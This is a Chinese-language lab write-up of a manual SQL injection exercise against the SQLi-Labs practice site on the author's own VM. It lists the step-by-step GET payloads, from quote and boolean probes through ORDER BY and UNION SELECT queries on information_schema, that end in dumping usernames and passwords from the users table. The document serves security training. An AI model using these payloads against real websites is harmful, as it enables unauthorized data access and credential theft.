实验环境

攻击机:
操作系统:windows10
软件:Sqlmap,Burpsuite,FireFox浏览器插件Hackbar,FoxyProxy
靶机:
操作系统:CentOS7
软件:Apache、MySQL(MariaDB)、PHP;DVWA、SQLi-Labs、Webug3.0漏洞网站环境

实验过程:

登录网站查看

在打开FireFox浏览器和Hackbar插件之后,输入网站的URl,显示如下图
image-20221018224641652

在插件或者网站URl里输入一个GET参数?id=1,显示下图,显示了id=1的用户名和密码

image-20221018225229067

寻找注入点

然后使用3条payload寻找注入点以及判断注入点的类型:

?id=1'

image-20221018230043230

网页报错,同时也可以从报错信息看出来数据库是MySQL

?id=1 and 1=1

image-20221018231405295

网页正常显示

?id=1 and 1=2

image-20221018231607298

网页未正确显示

从上面三个可以得知,网站存在数字型注入点

判断网站查询的字段数

使用关键字order by,获取网站查询的字段数

?id=1 order by 1--+

image-20221018232219554

网页正常显示

?id=1 order by 2--+

image-20221018232513314

网页正常显示

?id=1 order by 3--+

image-20221018232647683

网页正常显示

?id=1 order by 4--+

image-20221018232827253

此时,网页显示报错,可以判断网站查询的字段数为3

判断网站的回显位置

输入以下的payload判断网站的回显位置

?id=1 and 1=2 union select 1,2,3--+

image-20221018233318208

由此,我们可以在2号位置和3号位置回显,在后面的步骤里,可以在2和3号位置插入函数或者命令来执行SQL注入

获取网站数据库的库名称

直接将3的字段换成命令

?id=1 and 1=2 union select 1,2,database()--+

image-20221018234024375

显示的security就是数据库的库名

获取数据库secuity的全部表名

?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

题外知识:

1
`group_concat(table_name) from information_schema.tables where table_schema='security'--+`,在这一段函数里,`group_concat`是将查询到的每行结果以某个字段名进行合并,每一行合并的结果以逗号分隔开,--+是MySQL的注释符号,后面的内容不会运行

可以这样理解:
没有用group_concat:image-20221018235118488
用了group_concat:image-20221018235206824

那么话题转回来,运行之后网页可以看见有4个表,我们接下来查看有可能存有网站用户信息的users表

image-20221018234735504

获取users表的全部字段名

?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

image-20221019221223385

显示了users表里有id,username和password三个字段

获取users表里的id,usersname,password字段

users表里存在很多用户和密码的数据,每次只能显示一组数据,我们通过limit M,N的方式逐条显示

显示第一组

?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1--+

image-20221019225848983

显示第二组

?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 1,1--+

image-20221019225904017

显示第三组

?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 2,1--+

image-20221019225919154